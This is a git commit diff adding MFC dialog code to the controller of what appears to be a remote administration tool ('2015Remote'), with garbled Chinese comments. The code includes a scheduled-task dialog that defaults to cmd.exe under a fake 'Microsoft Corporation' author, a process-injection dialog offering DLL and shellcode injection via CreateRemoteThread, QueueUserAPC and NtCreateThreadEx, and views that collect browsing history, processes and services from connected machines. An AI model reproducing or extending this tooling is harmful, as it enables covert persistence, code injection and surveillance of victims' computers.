Update private master program code
This commit is contained in:
51
server/2015Remote/sys/CCreateTaskDlg.cpp
Normal file
51
server/2015Remote/sys/CCreateTaskDlg.cpp
Normal file
@@ -0,0 +1,51 @@
|
||||
// CCreateTaskDlg.cpp: ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CCreateTaskDlg.h"
|
||||
|
||||
// CCreateTaskDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CCreateTaskDlg, CDialog)
|
||||
|
||||
CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialog(IDD_CREATETASK, pParent)
|
||||
, m_TaskPath(_T("\\"))
|
||||
, m_TaskNames(_T("bhyy"))
|
||||
, m_ExePath(_T("C:\\windows\\system32\\cmd.exe"))
|
||||
, m_Author(_T("Microsoft Corporation"))
|
||||
, m_Description(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> Windows <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>мƻ<D0BC><C6BB>IJ<EFBFBD><C4B2><EFBFBD>(<28><>ɨ<EFBFBD><C9A8>)"))
|
||||
{
|
||||
}
|
||||
|
||||
CCreateTaskDlg::~CCreateTaskDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CCreateTaskDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_PATH, m_TaskPath);
|
||||
DDX_Control(pDX, IDC_EDIT_NAME, m_TaskName);
|
||||
DDX_Text(pDX, IDC_EDIT_NAME, m_TaskNames);
|
||||
DDX_Text(pDX, IDC_EDIT_EXEPATH, m_ExePath);
|
||||
DDX_Text(pDX, IDC_EDIT_MAKER, m_Author);
|
||||
DDX_Text(pDX, IDC_EDIT_TEXT, m_Description);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CCreateTaskDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_CREAT, &CCreateTaskDlg::OnBnClickedButtonCREAT)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CCreateTaskDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
void CCreateTaskDlg::OnBnClickedButtonCREAT()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CDialog::OnOK();
|
||||
}
|
||||
31
server/2015Remote/sys/CCreateTaskDlg.h
Normal file
31
server/2015Remote/sys/CCreateTaskDlg.h
Normal file
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CCreateTaskDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CCreateTaskDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CCreateTaskDlg)
|
||||
|
||||
public:
|
||||
CCreateTaskDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CCreateTaskDlg();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_CREATETASK };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
afx_msg void OnBnClickedButtonCREAT();
|
||||
CString m_TaskPath;
|
||||
CEdit m_TaskName;
|
||||
CString m_TaskNames;
|
||||
CString m_ExePath;
|
||||
CString m_Author;
|
||||
CString m_Description;
|
||||
};
|
||||
94
server/2015Remote/sys/CInjectCodeDlg.cpp
Normal file
94
server/2015Remote/sys/CInjectCodeDlg.cpp
Normal file
@@ -0,0 +1,94 @@
|
||||
// CInjectCodeDlg.cpp: ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CInjectCodeDlg.h"
|
||||
|
||||
// CInjectCodeDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
IMPLEMENT_DYNAMIC(CInjectCodeDlg, CDialog)
|
||||
|
||||
CInjectCodeDlg::CInjectCodeDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialog(IDD_INJECTINFO, pParent)
|
||||
, Str_loacal(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>·<EFBFBD><EFBFBD>"))
|
||||
, Str_remote(_T(""))
|
||||
{
|
||||
}
|
||||
|
||||
CInjectCodeDlg::~CInjectCodeDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CInjectCodeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_INJECTS, m_combo_main);
|
||||
DDX_Text(pDX, IDC_EDIT_PATH, Str_loacal);
|
||||
DDX_Text(pDX, IDC_EDIT_PATH_REMOTE, Str_remote);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CInjectCodeDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_CHOOSE, &CInjectCodeDlg::OnBnClickedButtonChoose)
|
||||
ON_BN_CLICKED(IDC_BUTTON_INJECT, &CInjectCodeDlg::OnBnClickedButtonInject)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_INJECTS, &CInjectCodeDlg::OnCbnSelchangeComboInjects)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CInjectCodeDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
int i = 0;
|
||||
m_combo_main.InsertString(i++, _T("CreateRemoteThread(<28><><EFBFBD>ط<EFBFBD><D8B7><EFBFBD>ע<EFBFBD><D7A2>)"));
|
||||
m_combo_main.InsertString(i++, _T("QueueUserAPC(<28><><EFBFBD>ط<EFBFBD><D8B7><EFBFBD>ע<EFBFBD><D7A2>)"));
|
||||
m_combo_main.InsertString(i++, _T("NtCreateThreadEx(<28><><EFBFBD>ط<EFBFBD><D8B7><EFBFBD>ע<EFBFBD><D7A2>)"));
|
||||
|
||||
m_combo_main.InsertString(i++, _T("CreateRemoteThread(shellcodeע<65><D7A2>)"));
|
||||
m_combo_main.InsertString(i++, _T("QueueUserAPC(shellcodeע<65><D7A2>)"));
|
||||
m_combo_main.InsertString(i++, _T("NtCreateThreadEx(shellcodeע<65><D7A2>)"));
|
||||
|
||||
m_combo_main.SetCurSel(0);
|
||||
|
||||
SYSTEMTIME stTime;
|
||||
GetLocalTime(&stTime);
|
||||
WORD wMonth = stTime.wMonth;
|
||||
WORD wDay = stTime.wDay;
|
||||
WORD wHour = stTime.wHour;
|
||||
WORD wMinute = stTime.wMinute;
|
||||
WORD wSecond = stTime.wSecond;
|
||||
Str_remote.Format( _T("C:\\ProgramData\\%d%d%d%d%d.dll"), wMonth, wDay, wHour, wMinute, wSecond);
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->SetWindowText(Str_remote);
|
||||
|
||||
isel = 0;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CInjectCodeDlg::OnBnClickedButtonChoose()
|
||||
{
|
||||
CFileDialog dlg(FALSE, NULL, NULL, OFN_HIDEREADONLY, _T("All Files (*.*)|*.*||"), this);
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return;
|
||||
SetDlgItemText(IDC_EDIT_PATH, dlg.GetPathName());
|
||||
}
|
||||
|
||||
|
||||
void CInjectCodeDlg::OnBnClickedButtonInject()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
|
||||
void CInjectCodeDlg::OnCbnSelchangeComboInjects()
|
||||
{
|
||||
isel =m_combo_main.GetCurSel();
|
||||
if (isel<3) {
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(TRUE);
|
||||
|
||||
} else {
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(FALSE);
|
||||
}
|
||||
}
|
||||
36
server/2015Remote/sys/CInjectCodeDlg.h
Normal file
36
server/2015Remote/sys/CInjectCodeDlg.h
Normal file
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CInjectCodeDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CInjectCodeDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CInjectCodeDlg)
|
||||
|
||||
public:
|
||||
CInjectCodeDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CInjectCodeDlg();
|
||||
|
||||
CComboBox m_combo_main;
|
||||
int isel;
|
||||
CString Str_loacal;
|
||||
CString Str_remote;
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum {
|
||||
IDD = IDD_INJECTINFO
|
||||
};
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
afx_msg void OnBnClickedButtonChoose();
|
||||
afx_msg void OnBnClickedButtonInject();
|
||||
afx_msg void OnCbnSelchangeComboInjects();
|
||||
};
|
||||
1693
server/2015Remote/sys/MachineDlg.cpp
Normal file
1693
server/2015Remote/sys/MachineDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
112
server/2015Remote/sys/MachineDlg.h
Normal file
112
server/2015Remote/sys/MachineDlg.h
Normal file
@@ -0,0 +1,112 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
#pragma once
|
||||
#include <2015RemoteDlg.h>
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CMachineDlg dialog
|
||||
|
||||
// TODO: ʵ<><CAB5>IP<49><50>ȡ.
|
||||
class IPConverter
|
||||
{
|
||||
public:
|
||||
CString IPtoAddress(const CString& ip) { return "implement me"; }
|
||||
};
|
||||
|
||||
|
||||
class CMachineDlg : public DialogBase
|
||||
{
|
||||
public:
|
||||
CMachineDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
~CMachineDlg();
|
||||
|
||||
enum { IDD = IDD_MACHINE };
|
||||
CListCtrl m_list;
|
||||
CTabCtrl m_tab;
|
||||
|
||||
void OnReceiveComplete();
|
||||
void OnReceive();
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
afx_msg void OnClose();
|
||||
virtual BOOL OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult);
|
||||
|
||||
int m_nSortedCol;
|
||||
bool m_bAscending;
|
||||
bool m_bIsReceiving;
|
||||
ClientContext* m_pContext;
|
||||
ISocketBase* m_iocpServer;
|
||||
HICON m_hIcon;
|
||||
BOOL m_bOnClose;
|
||||
CMy2015RemoteDlg* m_pMainWnd;
|
||||
CStatusBar m_wndStatusBar;
|
||||
IPConverter* m_IPConverter;
|
||||
CLocker m_Locker;
|
||||
bool IsReceivingData() {
|
||||
m_Locker.Lock();
|
||||
auto r = m_bIsReceiving;
|
||||
m_Locker.Unlock();
|
||||
return r;
|
||||
}
|
||||
void SetReceivingStatus(bool b) {
|
||||
m_Locker.Lock();
|
||||
m_bIsReceiving = b;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnSelChangeTab(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnSelChangingTab(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnWaitMessage(WPARAM wParam, LPARAM lParam);
|
||||
void SortColumn(int iCol, bool bAsc);
|
||||
CString oleTime2Str(double time);
|
||||
void reflush();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
void SendToken(BYTE bToken);
|
||||
void AdjustList();
|
||||
void OpenInfoDlg();
|
||||
void SetClipboardText(CString& Data);
|
||||
CString __MakePriority(DWORD dwPriClass);
|
||||
void DeleteList();
|
||||
void ShowProcessList(); //<2F><><EFBFBD><EFBFBD>
|
||||
void ShowWindowsList();//<2F><><EFBFBD><EFBFBD>
|
||||
void ShowNetStateList();//<2F><><EFBFBD><EFBFBD>
|
||||
void ShowSoftWareList();//<2F><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
void ShowIEHistoryList();//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼
|
||||
void ShowFavoritesUrlList();//<2F>ղؼ<D5B2>
|
||||
void ShowServiceList(); //<2F><><EFBFBD><EFBFBD>
|
||||
void ShowTaskList();//<2F>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
void ShowHostsList();//HOSTS
|
||||
|
||||
//<2F><>Ӧ<EFBFBD>˵<EFBFBD>
|
||||
void ShowProcessList_menu(); //<2F><><EFBFBD><EFBFBD>
|
||||
void ShowWindowsList_menu();//<2F><><EFBFBD><EFBFBD>
|
||||
void ShowNetStateList_menu();//<2F><><EFBFBD><EFBFBD>
|
||||
void ShowSoftWareList_menu();//<2F><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
void ShowIEHistoryList_menu();//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼
|
||||
void ShowFavoritesUrlList_menu();//<2F>ղؼ<D5B2>
|
||||
void ShowServiceList_menu();//<2F><><EFBFBD><EFBFBD>
|
||||
void ShowTaskList_menu();//<2F>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
void ShowHostsList_menu();//HOSTS
|
||||
};
|
||||
|
||||
struct Browsinghistory {
|
||||
TCHAR strTime[100];
|
||||
TCHAR strTitle[1024];
|
||||
TCHAR strUrl[1024];
|
||||
};
|
||||
|
||||
struct InjectData {
|
||||
DWORD ExeIsx86;
|
||||
DWORD mode; //ע<><D7A2>ģʽ
|
||||
DWORD dwProcessID; //<2F><><EFBFBD><EFBFBD>ID
|
||||
DWORD datasize; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳߴ<DDB3>
|
||||
TCHAR strpath[1024]; //Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
};
|
||||
102
server/2015Remote/sys/ServiceInfoDlg.cpp
Normal file
102
server/2015Remote/sys/ServiceInfoDlg.cpp
Normal file
@@ -0,0 +1,102 @@
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ServiceInfoDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CServiceInfoDlg dialog
|
||||
|
||||
|
||||
CServiceInfoDlg::CServiceInfoDlg(CWnd* pParent /*=NULL*/)
|
||||
: CDialog(CServiceInfoDlg::IDD, pParent)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SERVICE));
|
||||
}
|
||||
|
||||
|
||||
void CServiceInfoDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_RUNWAY, m_combox_runway);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CServiceInfoDlg, CDialog)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_RUNWAY, OnSelchangeComboRunway)
|
||||
ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
|
||||
ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
|
||||
ON_BN_CLICKED(IDC_BUTTON_PAUSE, OnButtonPause)
|
||||
ON_BN_CLICKED(IDC_BUTTON_CONTINUE, OnButtonContinue)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CServiceInfoDlg message handlers
|
||||
|
||||
BOOL CServiceInfoDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
m_combox_runway.InsertString(0, _T("<EFBFBD>Զ<EFBFBD>")); // 0
|
||||
m_combox_runway.InsertString(1, _T("<EFBFBD>ֶ<EFBFBD>")); // 1
|
||||
m_combox_runway.InsertString(2, _T("<EFBFBD>ѽ<EFBFBD><EFBFBD><EFBFBD>")); // 2
|
||||
|
||||
SetDlgItemText(IDC_EDIT_SERNAME, m_ServiceInfo.strSerName);
|
||||
SetDlgItemText(IDC_EDIT_SERDISPLAYNAME, m_ServiceInfo.strSerDisPlayname);
|
||||
SetDlgItemText(IDC_EDIT_SERDESCRIPTION, m_ServiceInfo.strSerDescription);
|
||||
SetDlgItemText(IDC_EDIT_FILEPATH, m_ServiceInfo.strFilePath);
|
||||
SetDlgItemText(IDC_STATIC_TEXT, m_ServiceInfo.strSerState);
|
||||
|
||||
if (m_ServiceInfo.strSerRunway == _T("Disabled"))
|
||||
m_combox_runway.SetCurSel(2);
|
||||
else if (m_ServiceInfo.strSerRunway == _T("Demand Start"))
|
||||
m_combox_runway.SetCurSel(1);
|
||||
else
|
||||
m_combox_runway.SetCurSel(0);
|
||||
|
||||
SetWindowText(m_ServiceInfo.strSerDisPlayname + _T(" Attribute"));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnSelchangeComboRunway()
|
||||
{
|
||||
GetDlgItem(IDC_BUTTON_USE)->EnableWindow(TRUE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonStart()
|
||||
{
|
||||
SendToken(COMMAND_STARTSERVERICE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::SendToken(BYTE bToken)
|
||||
{
|
||||
int nPacketLength = (m_ServiceInfo.strSerName.GetLength() + 1);;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpBuffer[0] = bToken;
|
||||
|
||||
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonStop()
|
||||
{
|
||||
SendToken(COMMAND_STOPSERVERICE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonPause()
|
||||
{
|
||||
SendToken(COMMAND_PAUSESERVERICE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonContinue()
|
||||
{
|
||||
SendToken(COMMAND_CONTINUESERVERICE);
|
||||
}
|
||||
40
server/2015Remote/sys/ServiceInfoDlg.h
Normal file
40
server/2015Remote/sys/ServiceInfoDlg.h
Normal file
@@ -0,0 +1,40 @@
|
||||
#pragma once
|
||||
#include "MachineDlg.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CServiceInfoDlg dialog
|
||||
|
||||
typedef struct {
|
||||
CString strSerName;
|
||||
CString strSerDisPlayname;
|
||||
CString strSerDescription;
|
||||
CString strFilePath;
|
||||
CString strSerRunway;
|
||||
CString strSerState;
|
||||
} SERVICEINFO;
|
||||
|
||||
class CServiceInfoDlg : public CDialog
|
||||
{
|
||||
public:
|
||||
CServiceInfoDlg(CWnd* pParent = NULL);
|
||||
|
||||
ClientContext* m_pContext;
|
||||
ISocketBase* m_iocpServer;
|
||||
|
||||
enum { IDD = IDD_SERVICE_INFO };
|
||||
CComboBox m_combox_runway;
|
||||
|
||||
SERVICEINFO m_ServiceInfo;
|
||||
CMachineDlg* m_MachineDlg;
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
HICON m_hIcon;
|
||||
void SendToken(BYTE bToken);
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSelchangeComboRunway();
|
||||
afx_msg void OnButtonStart();
|
||||
afx_msg void OnButtonStop();
|
||||
afx_msg void OnButtonPause();
|
||||
afx_msg void OnButtonContinue();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
Reference in New Issue
Block a user